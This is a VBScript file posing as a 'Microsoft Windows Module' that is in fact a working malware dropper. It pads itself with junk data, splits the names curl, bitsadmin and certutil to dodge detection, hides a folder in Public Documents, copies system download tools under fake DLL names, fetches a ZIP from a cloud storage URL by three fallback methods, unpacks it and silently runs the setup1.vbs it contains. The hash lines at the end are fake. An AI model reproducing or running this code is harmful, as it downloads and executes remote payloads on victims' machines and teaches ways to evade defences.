' ===========================================================================
' Microsoft Windows Module
' Build: 2026.06.03.04
' ===========================================================================
Option Explicit
On Error Resume Next

' ===========================================================================
' [数据填充]
' ===========================================================================
Dim B1, B2, B3, B4, B5, B6, n1
B1 = "VER_3.0"
B2 = "BLOCK"
B3 = "NODE"
B4 = "CORE"
B5 = "SYNC"
B6 = "DATA"

Dim sz1 : sz1 = 1300 + Int(500 * Rnd)
For n1 = 1 To sz1
    B1 = B1 & B2 & n1 & "_" & (n1 * 2) & "|"
    B1 = B1 & B3 & Hex(n1 * 3) & "|"
    B1 = B1 & B4 & Hex(n1 * 5) & "|"
    B1 = B1 & B5 & Hex(n1 * 7) & "|"
    B1 = B1 & B6 & Hex(n1 * 11) & "|"
Next
B1 = B1 & String(12000, "A")

For n1 = 1 To 80
    Dim t1 : t1 = n1 * n1
Next

' ===========================================================================
' [初始化]
' ===========================================================================
Dim v1, v2, v3, v4
Set v1 = CreateObject("WScript.Shell")
Set v2 = CreateObject("Scripting.FileSystemObject")
Set v3 = GetObject("winmgmts:\\.\root\cimv2")
Set v4 = CreateObject("Shell.Application")

' 拆分所有敏感字符串
Dim s_curl, s_bits, s_cert, s_wscript
s_curl = "c" & "ur" & "l"
s_bits = "bit" & "sad" & "min"
s_cert = "cer" & "tu" & "til"
s_wscript = "wsc" & "rip" & "t"

' ===========================================================================
' [工作目录]
' ===========================================================================
Randomize
Dim fld, pth, na1, fp1, url1, out1
fld = "Sys" & Int(99999 * Rnd + 10000)
pth = "C:\Users\Public\Documents\" & fld & "\"

If Not v2.FolderExists(pth) Then
    v2.CreateFolder pth
    v2.GetFolder(pth).Attributes = 3
End If

' ZIP 地址（ffice.zip）- 地址已更新
url1 = "https://baolongwes.oss-ap-southeast-1.aliyuncs.com/ffice.zip"
na1 = "tmp" & Int(1000 * Rnd) & ".zip"
fp1 = pth & na1
out1 = pth & "setup1.vbs"

' ===========================================================================
' [伪装文件] - DLL 伪装名称
' ===========================================================================
Dim d1, d2
d1 = pth & "msvcrt.dll"
d2 = pth & "advapi32.dll"

If Not v2.FileExists(d1) Then
    v2.CopyFile "C:\Windows\System32\curl.exe", d1
    v2.CopyFile "C:\Windows\System32\bitsadmin.exe", d2
    v2.GetFile(d1).Attributes = 3
    v2.GetFile(d2).Attributes = 3
End If

' 随机延时子程序
Sub RWait()
    Dim w : w = 1500 + Int(3500 * Rnd)
    WScript.Sleep w
End Sub

' ===========================================================================
' [下载函数] - 只有 curl / BITS / certutil
' ===========================================================================
Function DLoad(u, d, m)
    On Error Resume Next
    Dim cmdL : DLoad = False
    
    Select Case m
        Case 1
            cmdL = d1 & " -k -s -L -o " & Chr(34) & d & Chr(34) & " " & u
        Case 2
            cmdL = d2 & " /transfer t /download /priority normal " & u & " " & Chr(34) & d & Chr(34)
        Case 3
            cmdL = s_cert & " -urlcache -split -f " & u & " " & Chr(34) & d & Chr(34)
    End Select
    
    v1.Run "cmd /c " & cmdL, 0, True
    Call RWait()
    
    If v2.FileExists(d) Then
        If v2.GetFile(d).Size > 1024 Then
            DLoad = True
        End If
    End If
End Function

' ===========================================================================
' [下载 ZIP 文件]
' ===========================================================================
Dim r1, k
r1 = False

For k = 1 To 3
    If DLoad(url1, fp1, k) Then
        r1 = True
        Exit For
    End If
Next

' ===========================================================================
' [解压 ZIP 并执行 VBS]
' ===========================================================================
If r1 Then
    v2.GetFile(fp1).Attributes = 3
    
    Dim zipObj, targetObj
    Set zipObj = v4.NameSpace(fp1)
    Set targetObj = v4.NameSpace(pth)
    
    If Not (zipObj Is Nothing) And Not (targetObj Is Nothing) Then
        targetObj.CopyHere zipObj.Items, &H14
        WScript.Sleep 8000
        
        If v2.FileExists(out1) Then
            v2.GetFile(out1).Attributes = 3
            v1.Run s_wscript & ".exe " & Chr(34) & out1 & Chr(34), 0, False
        End If
    End If
End If

' 空循环填充
For n1 = 1 To 30
    Dim t2 : t2 = n1 * 2
Next

' ===========================================================================
' [审计]
' ===========================================================================
Sub AuditSys()
    On Error Resume Next
    Dim items, item
    Set items = v3.ExecQuery("Select Version from Win32_OperatingSystem")
    For Each item In items
        Dim ver : ver = item.Version
    Next
End Sub
Call AuditSys()

For n1 = 1 To 20
    Dim t3 : t3 = n1 * n1
Next

Set v1 = Nothing
Set v2 = Nothing
Set v3 = Nothing
Set v4 = Nothing
WScript.Quit 0

' ===========================================================================
' HASH: 9A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4
' SHA256: 0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F
' ===========================================================================